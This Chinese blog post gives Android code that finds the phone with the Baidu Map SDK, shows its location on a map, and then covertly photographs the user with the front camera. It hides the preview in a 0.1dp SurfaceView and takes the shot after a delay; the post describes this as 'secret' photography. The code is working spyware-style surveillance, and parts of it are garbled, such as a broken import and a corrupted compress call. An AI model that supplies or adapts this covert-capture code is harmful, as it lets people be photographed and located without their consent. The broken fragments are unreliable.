700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > Android使用百度地图定位并显示手机位置后使用前置摄像头“偷拍”

Android使用百度地图定位并显示手机位置后使用前置摄像头“偷拍”

时间:2021-11-27 22:23:26

相关推荐

Android使用百度地图定位并显示手机位置后使用前置摄像头“偷拍”

今天老板让我验证一下技术可行性,记录下来。

需求 :定位手机的位置并在百度地图上显示,得到位置后使用前置摄像头进行抓拍

拿到这个需求后,对于摄像头的使用不太熟悉,于是我先做了定位手机并在百度地图上显示的功能

访问了百度地图api官网/找到Android地图以及定位使用部分,官网上有详尽的使用指南,这里只简单总结描述一下,首先复制粘贴jar包和so文件

如图,jar包文件最好与so文件版本一致

1 package com.agile.androiddgs.activity; 2 3 import android.Manifest; 4 import android.annotation.TargetApi; 5 import android.app.Activity; 6 import android.content.pm.PackageManager; 7 import android.graphics.Bitmap; 8 import android.graphics.BitmapFactory; 9 import android.hardware.Camera; 10 import android.media.MediaScannerConnection; 11 import .Uri; 12 import android.os.Build; 13 import android.os.Bundle; 14 import android.os.Handler; 15 import android.util.Log; 16 import android.view.Surface; 17 import android.view.SurfaceHolder; 18 import android.view.SurfaceView; 19 import android.view.Window; 20 21 import com.agile.androiddgs.R; 22 import com.baidu.location.BDLocation; 23 import com.baidu.location.BDLocationListener; 24 import com.baidu.location.LocationClient; 25 import com.baidu.location.LocationClientOption; 26 import com.baidu.mapapi.SDKInitializer; 27 import com.baidu.mapapi.map.BaiduMap; 28 import com.baidu.mapapi.map.BitmapDescriptor; 29 import com.baidu.mapapi.map.MapStatusUpdate; 30 import com.baidu.mapapi.map.MapStatusUpdateFactory; 31 import com.baidu.mapapi.map.MapView; 32 import com.baidu.mapapi.map.MyLocationData; 33 import com.baidu.mapapi.model.LatLng; 34 import com.baidu.mapapi.search.core.SearchResult; 35 import com.baidu.mapapi.search.geocode.GeoCodeResult; 36 import com.baidu.mapapi.search.geocode.GeoCoder; 37 import com.baidu.mapapi.search.geocode.OnGetGeoCoderResultListener; 38 import com.baidu.mapapi.search.geocode.ReverseGeoCodeOption; 39 import com.baidu.mapapi.search.geocode.ReverseGeoCodeResult; 40 41 import java.io.ByteArrayInputStream; 42 import java.io.ByteArrayOutputStream; 43 import java.util.ArrayList; 44 import java.util.List; 45 46 public class PositionActivity extends Activity implements OnGetGeoCoderResultListener{ 47/**********************百度地图定位以及地图功能*********************************/ 48private String permissionInfo; 49private final int SDK_PERMISSION_REQUEST = 127; 50private MapView mapView = null; 51private BaiduMap baiduMap = null; 52 53// 定位相关声明 54private LocationClient locationClient = null; 55//自定义图标 56private BitmapDescriptor mCurrentMarker = null; 57private boolean isFirstLoc = true;// 是否首次定位 58 59GeoCoder mSearch = null; // 搜索模块,也可去掉地图模块独立使用 60 61private BDLocationListener myListener = new BDLocationListener() { 62 @Override 63 public void onReceiveLocation(BDLocation location) {//定位成功 64 // map view 销毁后不在处理新接收的位置 65 if (location == null || mapView == null) 66 return; 67 try { 68mSearch.reverseGeoCode(new ReverseGeoCodeOption().location(new LatLng(location.getLatitude(), location.getLongitude()))); 69 70 }catch (Exception e){ 71 e.printStackTrace(); 72 } 73 74 MyLocationData locData = new MyLocationData.Builder() 75 .accuracy(location.getRadius()) 76 // 此处设置开发者获取到的方向信息,顺时针0-360 77 .direction(100).latitude(location.getLatitude()) 78 .longitude(location.getLongitude()).build(); 79 baiduMap.setMyLocationData(locData); //设置定位数据 80 81 82 if (isFirstLoc) {//第一次定位 83 isFirstLoc = false; 84 85 86 LatLng ll = new LatLng(location.getLatitude(), 87location.getLongitude()); 88 MapStatusUpdate u = MapStatusUpdateFactory.newLatLngZoom(ll, 16); //设置地图中心点以及缩放级别 89 //MapStatusUpdate u = MapStatusUpdateFactory.newLatLng(ll); 90 baiduMap.animateMapStatus(u); 91 } 92 } 93}; 94 95/**********************************摄像头***********************************************/ 96private SurfaceView mySurfaceView; 97private SurfaceHolder myHolder; 98private Camera myCamera; 99int mCurrentCamIndex = 0;100 101@Override102protected void onCreate(Bundle savedInstanceState) {103 super.onCreate(savedInstanceState);104 // after andrioid m,must request Permiision on runtime105 getPersimmions();106 requestWindowFeature(Window.FEATURE_NO_TITLE);107 // 在使用SDK各组件之前初始化context信息,传入ApplicationContext108 // 注意该方法要再setContentView方法之前实现109 SDKInitializer.initialize(getApplicationContext());110 setContentView(R.layout.activity_position);111 112 // 初始化搜索模块,注册事件监听113 mSearch = GeoCoder.newInstance();114 115 mapView = (MapView) this.findViewById(R.id.mapView); // 获取地图控件引用116 baiduMap = mapView.getMap();117 //开启定位图层118 baiduMap.setMyLocationEnabled(true);119 120 locationClient = new LocationClient(getApplicationContext()); // 实例化LocationClient类121 locationClient.registerLocationListener(myListener); // 注册监听函数122 this.setLocationOption(); //设置定位参数123 locationClient.start(); // 开始定位124 // baiduMap.setMapType(BaiduMap.MAP_TYPE_NORMAL); // 设置为一般地图125 126 // baiduMap.setMapType(BaiduMap.MAP_TYPE_SATELLITE); //设置为卫星地图127 // baiduMap.setTrafficEnabled(true); //开启交通图128 129}130 131@TargetApi(23)132private void getPersimmions() {133 if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {134 ArrayList<String> permissions = new ArrayList<String>();135 /***136 * 定位权限为必须权限,用户如果禁止,则每次进入都会申请137 */138 // 定位精确位置139 if(checkSelfPermission(Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED){140 permissions.add(Manifest.permission.ACCESS_FINE_LOCATION);141 }142 if(checkSelfPermission(Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED){143 permissions.add(Manifest.permission.ACCESS_COARSE_LOCATION);144 }145 /*146 * 读写权限和电话状态权限非必要权限(建议授予)只会申请一次,用户同意或者禁止,只会弹一次147 */148 // 读写权限149 if (addPermission(permissions, Manifest.permission.WRITE_EXTERNAL_STORAGE)) {150 permissionInfo += "Manifest.permission.WRITE_EXTERNAL_STORAGE Deny \n";151 }152 // 读取电话状态权限153 if (addPermission(permissions, Manifest.permission.READ_PHONE_STATE)) {154 permissionInfo += "Manifest.permission.READ_PHONE_STATE Deny \n";155 }156 157 if (permissions.size() > 0) {158 requestPermissions(permissions.toArray(new String[permissions.size()]), SDK_PERMISSION_REQUEST);159 }160 }161}162 163@TargetApi(23)164private boolean addPermission(ArrayList<String> permissionsList, String permission) {165 if (checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED) { // 如果应用没有获得对应权限,则添加到列表中,准备批量申请166 if (shouldShowRequestPermissionRationale(permission)){167 return true;168 }else{169 permissionsList.add(permission);170 return false;171 }172 173 }else{174 return true;175 }176}177 178@TargetApi(23)179@Override180public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {181 // TODO Auto-generated method stub182 super.onRequestPermissionsResult(requestCode, permissions, grantResults);183 184}185 186// 三个状态实现地图生命周期管理187@Override188protected void onDestroy() {189 //退出时销毁定位190 locationClient.stop();191 baiduMap.setMyLocationEnabled(false);192 // TODO Auto-generated method stub193 super.onDestroy();194 mapView.onDestroy();195 mapView = null;196}197 198@Override199protected void onResume() {200 // TODO Auto-generated method stub201 super.onResume();202 mapView.onResume();203}204 205@Override206protected void onPause() {207 // TODO Auto-generated method stub208 super.onPause();209 mapView.onPause();210}211 212 213 214/**215* 设置定位参数216*/217private void setLocationOption() {218 LocationClientOption option = new LocationClientOption();219 option.setOpenGps(true); // 打开GPS220 option.setLocationMode(LocationClientOption.LocationMode.Hight_Accuracy);// 设置定位模式221 option.setCoorType("bd09ll"); // 返回的定位结果是百度经纬度,默认值gcj02222 option.setScanSpan(5000); // 设置发起定位请求的间隔时间为5000ms223 option.setIsNeedAddress(true); // 返回的定位结果包含地址信息224 option.setNeedDeviceDirect(true); // 返回的定位结果包含手机机头的方向225 226 locationClient.setLocOption(option);227}228 229230@Override231public void onGetGeoCodeResult(GeoCodeResult geoCodeResult) {232 233}234/**235根据经纬度反编为具体地址236 */237@Override238public void onGetReverseGeoCodeResult(ReverseGeoCodeResult reverseGeoCodeResult) {239 if (reverseGeoCodeResult == null || reverseGeoCodeResult.error != SearchResult.ERRORNO.NO_ERROR)240 {241 return;242 }243 244 String address = reverseGeoCodeResult.getAddress();245}246 247 248 }

上面是定位以及百度地图的使用,下面是摄像头的使用,以及图片压缩(本文使用质量压缩)

1 //初始化surfaceview 2 new Thread(new Runnable() { 3 @Override 4 public void run() { 5 6 mySurfaceView = (SurfaceView) findViewById(R.id.camera_surfaceview); 7 8 //初始化surfaceholder 9 myHolder = mySurfaceView.getHolder();10 myHolder.addCallback(new SurfaceViewCallback());11 myHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);12 13 }14 }).start();

在onCreate()方法中另外开启一个线程,用来偷偷的拍照,初始化SurfaceView并为SurfaceView设置callBack方法

1 /***************************************************************************************/ 2private final class SurfaceViewCallback implements android.view.SurfaceHolder.Callback { 3 public void surfaceChanged(SurfaceHolder arg0, int arg1, int arg2, int arg3) 4 { 5 6 try { 7 myCamera.setPreviewDisplay(arg0); 8 myCamera.startPreview(); 9 setCameraDisplayOrientation(PositionActivity.this, mCurrentCamIndex, myCamera); 10 new Handler().postDelayed(new Runnable(){ 11 12 public void run() { 13 //拍照 14myCamera.takePicture(shutterCallback, rawPictureCallback, 15 jpegPictureCallback); 16 } 17 18 }, 5000); 19 20 } catch (Exception e) { 21 e.printStackTrace(); 22 } 23 } 24 public void surfaceCreated(SurfaceHolder holder) { 25 //mCamera = Camera.open(); 26 //change to front camera 27 myCamera = openFrontFacingCameraGingerbread(); 28 // get Camera parameters 29 Camera.Parameters params = myCamera.getParameters(); 30 31 List<String> focusModes = params.getSupportedFocusModes(); 32 if (focusModes.contains(Camera.Parameters.FOCUS_MODE_AUTO)) { 33 // Autofocus mode is supported 34 } 35 } 36 37 public void surfaceDestroyed(SurfaceHolder holder) { 38 myCamera.stopPreview(); 39 myCamera.release(); 40 myCamera = null; 41 } 42} 43 44//根据横竖屏自动调节preview方向,Starting from API level 14, this method can be called when preview is active. 45private static void setCameraDisplayOrientation(Activity activity,int cameraId, Camera camera) 46{ 47 Camera.CameraInfo info = new Camera.CameraInfo(); 48 Camera.getCameraInfo(cameraId, info); 49 int rotation = activity.getWindowManager().getDefaultDisplay().getRotation(); 50 51 //degrees the angle that the picture will be rotated clockwise. Valid values are 0, 90, 180, and 270. 52 //The starting position is 0 (landscape). 53 int degrees = 0; 54 switch (rotation) 55 { 56 case Surface.ROTATION_0: degrees = 0; break; 57 case Surface.ROTATION_90: degrees = 90; break; 58 case Surface.ROTATION_180: degrees = 180; break; 59 case Surface.ROTATION_270: degrees = 270; break; 60 } 61 int result; 62 if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) 63 { 64 result = (info.orientation + degrees) % 360; 65 result = (360 - result) % 360; // compensate the mirror 66 } 67 else 68 { 69 // back-facing 70 result = (info.orientation - degrees + 360) % 360; 71 } 72 camera.setDisplayOrientation(result); 73} 74 75public void scanFileToPhotoAlbum(String path) { 76 77 MediaScannerConnection.scanFile(PositionActivity.this, 78 new String[] { path }, null, 79 new MediaScannerConnection.OnScanCompletedListener() { 80 81 public void onScanCompleted(String path, Uri uri) { 82Log.i("TAG", "Finished scanning " + path); 83 } 84 }); 85} 86 87private Camera openFrontFacingCameraGingerbread() { 88 int cameraCount = 0; 89 Camera cam = null; 90 Camera.CameraInfo cameraInfo = new Camera.CameraInfo(); 91 cameraCount = Camera.getNumberOfCameras(); 92 93 for (int camIdx = 0; camIdx < cameraCount; camIdx++) { 94 Camera.getCameraInfo(camIdx, cameraInfo); 95 if (cameraInfo.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) { 96 try { 97 cam = Camera.open(camIdx); 98 mCurrentCamIndex = camIdx; 99 } catch (RuntimeException e) {100 e.printStackTrace();101 }102 }103 }104 105 return cam;106}107 108Camera.ShutterCallback shutterCallback = new Camera.ShutterCallback() {109 @Override110 public void onShutter() {111 }112};113 114Camera.PictureCallback rawPictureCallback = new Camera.PictureCallback() {115 @Override116 public void onPictureTaken(byte[] arg0, Camera arg1) {117 118 }119};120 121Camera.PictureCallback jpegPictureCallback = new Camera.PictureCallback() {122 @Override123 public void onPictureTaken(byte[] arg0, Camera arg1) {124 ByteArrayOutputStream baos = new ByteArrayOutputStream();125 126 int options = 100;127 ByteArrayInputStream isBm = new ByteArrayInputStream(arg0);//把压缩后的数据baos存放到ByteArrayInputStream中128 Bitmap bitmap = BitmapFactory.decodeStream(isBm, null, null);//把ByteArrayInputStr129 130 press(pressFormat.JPEG, 100, baos);//质量压缩方法,这里100表示不压缩,把压缩后的数据存放到baos中131 132 133 while ( baos.toByteArray().length / 1024>1) { //循环判断如果压缩后图片是否大于100kb,大于继续压缩134 baos.reset();//重置baos即清空baos135 press(pressFormat.JPEG, options, baos);//这里压缩options%,把压缩后的数据存放到baos中136 options -= 10;//每次都减少10137 }138 139 /*String fileName = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM)140 .toString()141 + File.separator142 + "PicTest_" + System.currentTimeMillis() + ".jpg";143 File file = new File(fileName);144 if (!file.getParentFile().exists()) {145 file.getParentFile().mkdir();146 }147 148 try {149 BufferedOutputStream bos = new BufferedOutputStream(150new FileOutputStream(file));151 bos.write(arg0);152 bos.flush();153 bos.close();154 scanFileToPhotoAlbum(file.getAbsolutePath());155 Toast.makeText(PositionActivity.this, "[Test] Photo take and store in" + file.toString(), Toast.LENGTH_LONG).show();156 } catch (Exception e) {157 Toast.makeText(PositionActivity.this, "Picture Failed" + e.toString(),158Toast.LENGTH_LONG).show();159 e.printStackTrace();160 }*/161 };162};

布局文件如下

1 <?xml version="1.0" encoding="utf-8"?> 2 <LinearLayout xmlns:android="/apk/res/android" 3android:layout_width="fill_parent" 4android:layout_height="fill_parent" 5android:orientation="vertical" > 6<LinearLayout 7 android:layout_width="fill_parent" 8 android:layout_height="fill_parent" 9 android:orientation="vertical" >10 <!-- 添加地图控件 -->11 <com.baidu.mapapi.map.MapView12 android:id="@+id/mapView"13 android:layout_width="fill_parent"14 android:layout_height="fill_parent"15 android:clickable="true" />16</LinearLayout>17 18<!-- 预览框,长宽都为0.1 -->19<SurfaceView20 android:id="@+id/camera_surfaceview"21 android:layout_width="0.1dp"22 android:layout_height="0.1dp" >23</SurfaceView>24 </LinearLayout>

在布局文件中地图视图占据了整个屏幕,而摄像头预览图不可见,但是存在着,打开之后会开启一个新的线程用来偷偷使用前置摄像头拍照

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。